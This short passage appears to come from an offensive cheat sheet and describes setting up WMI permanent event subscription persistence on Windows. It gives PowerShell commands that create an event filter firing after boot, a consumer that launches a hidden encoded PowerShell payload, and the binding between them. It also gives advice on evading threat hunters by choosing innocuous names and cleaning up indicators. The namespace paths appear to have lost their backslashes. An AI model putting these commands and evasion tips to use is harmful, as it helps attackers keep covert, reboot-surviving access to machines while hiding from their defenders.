Persist with a WMI permanent event subscription
WMI permanent event subscriptions survive reboots and live in the CIM repository rather than the filesystem or registry Run keys defenders check first. An __EventFilter paired with a CommandLineEventConsumer fires your command when the trigger condition is met.
powershell
# trigger a few minutes after each boot as SYSTEM
$f=Set-WmiInstance -Namespace rootsubscription -Class __EventFilter -Args @{Name='u';EventNamespace='rootcimv2';QueryLanguage='WQL';Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"}Bind it to a consumer that launches your payload.
powershell
$c=Set-WmiInstance -Namespace rootsubscription -Class CommandLineEventConsumer -Args @{Name='u';CommandLineTemplate='powershell -w hidden -enc ...'}
Set-WmiInstance -Namespace rootsubscription -Class __FilterToConsumerBinding -Args @{Filter=$f;Consumer=$c}Pro note: hunt teams enumerate these bindings with the same WMI classes, so a benign-looking filter name and an event condition that is not the usual startup query blend better. Remove all three objects on cleanup; an orphaned filter or consumer is an obvious indicator.